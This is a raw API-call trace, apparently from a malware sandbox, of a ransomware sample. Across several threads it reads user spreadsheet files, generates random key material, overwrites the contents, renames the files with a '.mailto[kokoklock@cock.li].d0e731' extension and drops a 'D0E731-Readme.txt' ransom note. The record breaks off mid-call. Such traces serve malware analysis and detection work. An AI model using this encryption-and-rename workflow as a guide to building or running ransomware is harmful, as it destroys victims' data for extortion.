0 [0177.620] FindClose (in: hFindFile=0x2f80820 | out: hFindFile=0x2f80820) returned 1 [0177.621] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3023590) returned 1 [0177.621] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fef9e8) returned 1 [0177.621] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f88fa0) returned 1 [0177.621] RtlExitUserThread (Status=0x0) Thread: id = 2567 os_tid = 0x121c [0177.107] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\pSqVT.xls.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\documents\\sunaqgk8pgby\\bpteq1wnkh\\psqvt.xls.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0177.107] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\pSqVT.xls.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0177.107] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\pSqVT.xls.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\documents\\sunaqgk8pgby\\bpteq1wnkh\\psqvt.xls.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x9a4 [0177.108] GetFileSizeEx (in: hFile=0x9a4, lpFileSize=0x272ffb84 | out: lpFileSize=0x272ffb84*=56100) returned 1 [0177.108] SetFilePointerEx (in: hFile=0x9a4, liDistanceToMove=0xdb20, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0177.108] ReadFile (in: hFile=0x9a4, lpBuffer=0x272ffb58, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x272ffb54, lpOverlapped=0x0 | out: lpBuffer=0x272ffb58*, lpNumberOfBytesRead=0x272ffb54*=0x4, lpOverlapped=0x0) returned 1 [0177.109] SetFilePointerEx (in: hFile=0x9a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0177.109] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f95080 [0177.109] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f950d0 [0177.109] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f94ea0 [0177.109] NtQuerySystemTime (in: CurrentTime=0x272ffb30 | out: CurrentTime=0x272ffb30*=132121213344237086) returned 0x0 [0177.109] RtlRandom (in: Seed=0x272ffb3c | out: Seed=0x272ffb3c) returned 0xc5cdc49f [0177.109] RtlRandom (in: Seed=0x272ffb3c | out: Seed=0x272ffb3c) returned 0xb28b74a8 [0177.109] RtlRandom (in: Seed=0x272ffb3c | out: Seed=0x272ffb3c) returned 0xf7c2288e [0177.109] RtlRandom (in: Seed=0x272ffb3c | out: Seed=0x272ffb3c) returned 0xf1fe5c4e [0177.109] RtlRandom (in: Seed=0x272ffb3c | out: Seed=0x272ffb3c) returned 0x46902aee [0177.109] RtlRandom (in: Seed=0x272ffb3c | out: Seed=0x272ffb3c) returned 0xe66313f7 [0177.109] RtlRandom (in: Seed=0x272ffb3c | out: Seed=0x272ffb3c) returned 0x4bf7f26d [0177.109] RtlRandom (in: Seed=0x272ffb3c | out: Seed=0x272ffb3c) returned 0xee3a51fc [0177.109] RtlRandom (in: Seed=0x272ffb3c | out: Seed=0x272ffb3c) returned 0xad5e2d7b [0177.109] RtlRandom (in: Seed=0x272ffb3c | out: Seed=0x272ffb3c) returned 0x8c5348f1 [0177.109] RtlRandom (in: Seed=0x272ffb3c | out: Seed=0x272ffb3c) returned 0x7300a983 [0177.110] RtlRandom (in: Seed=0x272ffb3c | out: Seed=0x272ffb3c) returned 0xcfb017ea [0177.110] RtlRandom (in: Seed=0x272ffb3c | out: Seed=0x272ffb3c) returned 0x86202cc9 [0177.110] RtlRandom (in: Seed=0x272ffb3c | out: Seed=0x272ffb3c) returned 0x82da07ed [0177.110] RtlRandom (in: Seed=0x272ffb3c | out: Seed=0x272ffb3c) returned 0x5fdce417 [0177.110] RtlRandom (in: Seed=0x272ffb3c | out: Seed=0x272ffb3c) returned 0x77f12432 [0177.110] RtlRandom (in: Seed=0x272ffb3c | out: Seed=0x272ffb3c) returned 0xc455b0da [0177.110] RtlRandom (in: Seed=0x272ffb3c | out: Seed=0x272ffb3c) returned 0x21f1fd13 [0177.110] RtlRandom (in: Seed=0x272ffb3c | out: Seed=0x272ffb3c) returned 0xe28cd182 [0177.110] RtlRandom (in: Seed=0x272ffb3c | out: Seed=0x272ffb3c) returned 0xda617433 [0177.110] RtlRandom (in: Seed=0x272ffb3c | out: Seed=0x272ffb3c) returned 0xc0ce938 [0177.110] RtlRandom (in: Seed=0x272ffb3c | out: Seed=0x272ffb3c) returned 0x88449ece [0177.110] RtlRandom (in: Seed=0x272ffb3c | out: Seed=0x272ffb3c) returned 0x5ab96279 [0177.110] RtlRandom (in: Seed=0x272ffb3c | out: Seed=0x272ffb3c) returned 0xee5daaa6 [0177.110] RtlRandom (in: Seed=0x272ffb3c | out: Seed=0x272ffb3c) returned 0x99d1fdd6 [0177.110] RtlRandom (in: Seed=0x272ffb3c | out: Seed=0x272ffb3c) returned 0x761d7f05 [0177.110] RtlRandom (in: Seed=0x272ffb3c | out: Seed=0x272ffb3c) returned 0xff91cf1e [0177.110] RtlRandom (in: Seed=0x272ffb3c | out: Seed=0x272ffb3c) returned 0x3107bf0 [0177.110] RtlRandom (in: Seed=0x272ffb3c | out: Seed=0x272ffb3c) returned 0x32058d55 [0177.110] RtlRandom (in: Seed=0x272ffb3c | out: Seed=0x272ffb3c) returned 0xb9fd0f59 [0177.110] RtlRandom (in: Seed=0x272ffb3c | out: Seed=0x272ffb3c) returned 0x95c767a9 [0177.110] RtlRandom (in: Seed=0x272ffb3c | out: Seed=0x272ffb3c) returned 0x26711c47 [0177.123] SetFilePointerEx (in: hFile=0x9a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0177.123] ReadFile (in: hFile=0x9a4, lpBuffer=0x2f99af8, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x272ffb08, lpOverlapped=0x0 | out: lpBuffer=0x2f99af8*, lpNumberOfBytesRead=0x272ffb08*=0x4096, lpOverlapped=0x0) returned 1 [0177.124] SetFilePointerEx (in: hFile=0x9a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0177.124] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x40) returned 0x2f87818 [0177.124] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x2f88be0 [0177.124] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f94ef0 [0177.124] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f94ef0) returned 1 [0177.125] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x2fe4828 [0177.125] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f95080 [0177.125] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f94e78 [0177.125] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f94e78) returned 1 [0177.125] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f88be0) returned 1 [0177.125] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f87818) returned 1 [0177.125] WriteFile (in: hFile=0x9a4, lpBuffer=0x2fe4828*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x272ffb08, lpOverlapped=0x0 | out: lpBuffer=0x2fe4828*, lpNumberOfBytesWritten=0x272ffb08*=0x4096, lpOverlapped=0x0) returned 1 [0177.126] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe4828) returned 1 [0177.126] SetFilePointerEx (in: hFile=0x9a4, liDistanceToMove=0xdb24, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0177.126] WriteFile (in: hFile=0x9a4, lpBuffer=0x2f95080*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x272ffb40, lpOverlapped=0x0 | out: lpBuffer=0x2f95080*, lpNumberOfBytesWritten=0x272ffb40*=0x20, lpOverlapped=0x0) returned 1 [0177.126] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f95080) returned 1 [0177.126] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f99af8) returned 1 [0177.126] WriteFile (in: hFile=0x9a4, lpBuffer=0x2f94ec8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x272ffb54, lpOverlapped=0x0 | out: lpBuffer=0x2f94ec8*, lpNumberOfBytesWritten=0x272ffb54*=0x8, lpOverlapped=0x0) returned 1 [0177.126] WriteFile (in: hFile=0x9a4, lpBuffer=0x272ffb6c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x272ffb54, lpOverlapped=0x0 | out: lpBuffer=0x272ffb6c*, lpNumberOfBytesWritten=0x272ffb54*=0x4, lpOverlapped=0x0) returned 1 [0177.127] WriteFile (in: hFile=0x9a4, lpBuffer=0x2f719cc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x272ffb54, lpOverlapped=0x0 | out: lpBuffer=0x2f719cc*, lpNumberOfBytesWritten=0x272ffb54*=0x4, lpOverlapped=0x0) returned 1 [0177.127] WriteFile (in: hFile=0x9a4, lpBuffer=0x2f6a3e8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x272ffb54, lpOverlapped=0x0 | out: lpBuffer=0x2f6a3e8*, lpNumberOfBytesWritten=0x272ffb54*=0x6c, lpOverlapped=0x0) returned 1 [0177.127] WriteFile (in: hFile=0x9a4, lpBuffer=0x2f950d0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x272ffb54, lpOverlapped=0x0 | out: lpBuffer=0x2f950d0*, lpNumberOfBytesWritten=0x272ffb54*=0x20, lpOverlapped=0x0) returned 1 [0177.127] WriteFile (in: hFile=0x9a4, lpBuffer=0x2f719ac*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x272ffb54, lpOverlapped=0x0 | out: lpBuffer=0x2f719ac*, lpNumberOfBytesWritten=0x272ffb54*=0x4, lpOverlapped=0x0) returned 1 [0177.127] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f950d0) returned 1 [0177.127] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f94e50) returned 1 [0177.127] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f94ec8) returned 1 [0177.127] CloseHandle (hObject=0x9a4) returned 1 [0177.128] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xfc) returned 0x2f6d068 [0177.128] wcscpy (in: _Dest=0x2f6d068, _Source="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\pSqVT.xls.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\pSqVT.xls.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\pSqVT.xls.mailto[kokoklock@cock.li].d0e731" [0177.128] wcscat (in: _Dest=0x2f6d068, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\pSqVT.xls.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\pSqVT.xls.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" [0177.128] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\pSqVT.xls.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\documents\\sunaqgk8pgby\\bpteq1wnkh\\psqvt.xls.mailto[kokoklock@cock.li].d0e731"), lpNewFileName="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\pSqVT.xls.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\documents\\sunaqgk8pgby\\bpteq1wnkh\\psqvt.xls.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731")) returned 1 [0177.129] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\pSqVT.xls.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0177.129] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f6d068) returned 1 [0177.129] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\pSqVT.xls.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0177.129] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x8a) returned 0x2f95bd8 [0177.129] wcscpy (in: _Dest=0x2f95bd8, _Source="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\") returned="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\" [0177.129] wcscat (in: _Dest=0x2f95bd8, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\D0E731-Readme.txt") returned="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\D0E731-Readme.txt" [0177.129] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\D0E731-Readme.txt" (normalized: "c:\\users\\fd1hvy\\documents\\sunaqgk8pgby\\bpteq1wnkh\\d0e731-readme.txt")) returned 0x20 [0177.129] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f95bd8) returned 1 [0177.129] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fa67f8) returned 1 [0177.129] RtlExitUserThread (Status=0x1) Thread: id = 2568 os_tid = 0x1220 [0177.131] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Pxl_a_n.xls.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\documents\\sunaqgk8pgby\\bpteq1wnkh\\pxl_a_n.xls.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0177.131] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Pxl_a_n.xls.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0177.131] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Pxl_a_n.xls.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\documents\\sunaqgk8pgby\\bpteq1wnkh\\pxl_a_n.xls.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x9a4 [0177.132] GetFileSizeEx (in: hFile=0x9a4, lpFileSize=0x2737fe5c | out: lpFileSize=0x2737fe5c*=22612) returned 1 [0177.132] SetFilePointerEx (in: hFile=0x9a4, liDistanceToMove=0x5850, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0177.132] ReadFile (in: hFile=0x9a4, lpBuffer=0x2737fe30, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2737fe2c, lpOverlapped=0x0 | out: lpBuffer=0x2737fe30*, lpNumberOfBytesRead=0x2737fe2c*=0x4, lpOverlapped=0x0) returned 1 [0177.133] SetFilePointerEx (in: hFile=0x9a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0177.133] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f95080 [0177.134] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f950d0 [0177.134] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f94ec8 [0177.134] NtQuerySystemTime (in: CurrentTime=0x2737fe08 | out: CurrentTime=0x2737fe08*=132121213344560528) returned 0x0 [0177.134] RtlRandom (in: Seed=0x2737fe14 | out: Seed=0x2737fe14) returned 0xc6f91f6a [0177.134] RtlRandom (in: Seed=0x2737fe14 | out: Seed=0x2737fe14) returned 0xa52528d1 [0177.134] RtlRandom (in: Seed=0x2737fe14 | out: Seed=0x2737fe14) returned 0xb7569343 [0177.134] RtlRandom (in: Seed=0x2737fe14 | out: Seed=0x2737fe14) returned 0x5d0638d2 [0177.134] RtlRandom (in: Seed=0x2737fe14 | out: Seed=0x2737fe14) returned 0xb57f1a9d [0177.134] RtlRandom (in: Seed=0x2737fe14 | out: Seed=0x2737fe14) returned 0xc70b3d6e [0177.134] RtlRandom (in: Seed=0x2737fe14 | out: Seed=0x2737fe14) returned 0xc7ac8b5e [0177.134] RtlRandom (in: Seed=0x2737fe14 | out: Seed=0x2737fe14) returned 0x57d81bd6 [0177.134] RtlRandom (in: Seed=0x2737fe14 | out: Seed=0x2737fe14) returned 0x5cdbcd6f [0177.134] RtlRandom (in: Seed=0x2737fe14 | out: Seed=0x2737fe14) returned 0x79e2b69 [0177.134] RtlRandom (in: Seed=0x2737fe14 | out: Seed=0x2737fe14) returned 0x7aacfd3d [0177.134] RtlRandom (in: Seed=0x2737fe14 | out: Seed=0x2737fe14) returned 0xba6d707d [0177.134] RtlRandom (in: Seed=0x2737fe14 | out: Seed=0x2737fe14) returned 0x43348a62 [0177.134] RtlRandom (in: Seed=0x2737fe14 | out: Seed=0x2737fe14) returned 0x43cb6e91 [0177.134] RtlRandom (in: Seed=0x2737fe14 | out: Seed=0x2737fe14) returned 0x5ba5b732 [0177.134] RtlRandom (in: Seed=0x2737fe14 | out: Seed=0x2737fe14) returned 0x74ddd876 [0177.134] RtlRandom (in: Seed=0x2737fe14 | out: Seed=0x2737fe14) returned 0xc3cb4338 [0177.134] RtlRandom (in: Seed=0x2737fe14 | out: Seed=0x2737fe14) returned 0x9b90e2cf [0177.134] RtlRandom (in: Seed=0x2737fe14 | out: Seed=0x2737fe14) returned 0xcb86dd59 [0177.134] RtlRandom (in: Seed=0x2737fe14 | out: Seed=0x2737fe14) returned 0x7dc66867 [0177.134] RtlRandom (in: Seed=0x2737fe14 | out: Seed=0x2737fe14) returned 0x60dd0d86 [0177.134] RtlRandom (in: Seed=0x2737fe14 | out: Seed=0x2737fe14) returned 0x8ed16040 [0177.134] RtlRandom (in: Seed=0x2737fe14 | out: Seed=0x2737fe14) returned 0xa5b7b3f1 [0177.134] RtlRandom (in: Seed=0x2737fe14 | out: Seed=0x2737fe14) returned 0x2607a627 [0177.134] RtlRandom (in: Seed=0x2737fe14 | out: Seed=0x2737fe14) returned 0x181f1d49 [0177.134] RtlRandom (in: Seed=0x2737fe14 | out: Seed=0x2737fe14) returned 0x2e513439 [0177.134] RtlRandom (in: Seed=0x2737fe14 | out: Seed=0x2737fe14) returned 0xdd454bc9 [0177.134] RtlRandom (in: Seed=0x2737fe14 | out: Seed=0x2737fe14) returned 0x3b7561a1 [0177.134] RtlRandom (in: Seed=0x2737fe14 | out: Seed=0x2737fe14) returned 0xc66ba929 [0177.135] RtlRandom (in: Seed=0x2737fe14 | out: Seed=0x2737fe14) returned 0xe989fdbf [0177.135] RtlRandom (in: Seed=0x2737fe14 | out: Seed=0x2737fe14) returned 0x2878d742 [0177.135] RtlRandom (in: Seed=0x2737fe14 | out: Seed=0x2737fe14) returned 0x20f610db [0177.147] SetFilePointerEx (in: hFile=0x9a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0177.147] ReadFile (in: hFile=0x9a4, lpBuffer=0x2f99af8, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x2737fde0, lpOverlapped=0x0 | out: lpBuffer=0x2f99af8*, lpNumberOfBytesRead=0x2737fde0*=0x4096, lpOverlapped=0x0) returned 1 [0177.148] SetFilePointerEx (in: hFile=0x9a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0177.148] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x40) returned 0x2f87818 [0177.148] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x2f88be0 [0177.148] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f94f18 [0177.148] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f94f18) returned 1 [0177.149] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x2fe4828 [0177.149] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f95080 [0177.149] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f94e78 [0177.149] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f94e78) returned 1 [0177.149] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f88be0) returned 1 [0177.149] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f87818) returned 1 [0177.149] WriteFile (in: hFile=0x9a4, lpBuffer=0x2fe4828*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x2737fde0, lpOverlapped=0x0 | out: lpBuffer=0x2fe4828*, lpNumberOfBytesWritten=0x2737fde0*=0x4096, lpOverlapped=0x0) returned 1 [0177.149] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe4828) returned 1 [0177.149] SetFilePointerEx (in: hFile=0x9a4, liDistanceToMove=0x5854, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0177.150] WriteFile (in: hFile=0x9a4, lpBuffer=0x2f95080*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x2737fe18, lpOverlapped=0x0 | out: lpBuffer=0x2f95080*, lpNumberOfBytesWritten=0x2737fe18*=0x20, lpOverlapped=0x0) returned 1 [0177.151] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f95080) returned 1 [0177.151] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f99af8) returned 1 [0177.151] WriteFile (in: hFile=0x9a4, lpBuffer=0x2f94ef0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2737fe2c, lpOverlapped=0x0 | out: lpBuffer=0x2f94ef0*, lpNumberOfBytesWritten=0x2737fe2c*=0x8, lpOverlapped=0x0) returned 1 [0177.151] WriteFile (in: hFile=0x9a4, lpBuffer=0x2737fe44*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2737fe2c, lpOverlapped=0x0 | out: lpBuffer=0x2737fe44*, lpNumberOfBytesWritten=0x2737fe2c*=0x4, lpOverlapped=0x0) returned 1 [0177.151] WriteFile (in: hFile=0x9a4, lpBuffer=0x2f719cc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2737fe2c, lpOverlapped=0x0 | out: lpBuffer=0x2f719cc*, lpNumberOfBytesWritten=0x2737fe2c*=0x4, lpOverlapped=0x0) returned 1 [0177.151] WriteFile (in: hFile=0x9a4, lpBuffer=0x2f6a3e8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x2737fe2c, lpOverlapped=0x0 | out: lpBuffer=0x2f6a3e8*, lpNumberOfBytesWritten=0x2737fe2c*=0x6c, lpOverlapped=0x0) returned 1 [0177.151] WriteFile (in: hFile=0x9a4, lpBuffer=0x2f950d0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x2737fe2c, lpOverlapped=0x0 | out: lpBuffer=0x2f950d0*, lpNumberOfBytesWritten=0x2737fe2c*=0x20, lpOverlapped=0x0) returned 1 [0177.151] WriteFile (in: hFile=0x9a4, lpBuffer=0x2f719ac*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2737fe2c, lpOverlapped=0x0 | out: lpBuffer=0x2f719ac*, lpNumberOfBytesWritten=0x2737fe2c*=0x4, lpOverlapped=0x0) returned 1 [0177.151] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f950d0) returned 1 [0177.151] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f94e50) returned 1 [0177.151] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f94ef0) returned 1 [0177.151] CloseHandle (hObject=0x9a4) returned 1 [0177.152] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x100) returned 0x2f6d068 [0177.152] wcscpy (in: _Dest=0x2f6d068, _Source="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Pxl_a_n.xls.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Pxl_a_n.xls.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Pxl_a_n.xls.mailto[kokoklock@cock.li].d0e731" [0177.152] wcscat (in: _Dest=0x2f6d068, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Pxl_a_n.xls.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Pxl_a_n.xls.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" [0177.152] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Pxl_a_n.xls.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\documents\\sunaqgk8pgby\\bpteq1wnkh\\pxl_a_n.xls.mailto[kokoklock@cock.li].d0e731"), lpNewFileName="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Pxl_a_n.xls.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\documents\\sunaqgk8pgby\\bpteq1wnkh\\pxl_a_n.xls.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731")) returned 1 [0177.153] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Pxl_a_n.xls.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0177.154] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f6d068) returned 1 [0177.154] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Pxl_a_n.xls.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0177.154] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x8a) returned 0x2f95bd8 [0177.154] wcscpy (in: _Dest=0x2f95bd8, _Source="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\") returned="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\" [0177.154] wcscat (in: _Dest=0x2f95bd8, _Source="D0E731-Readme.txt" | out: 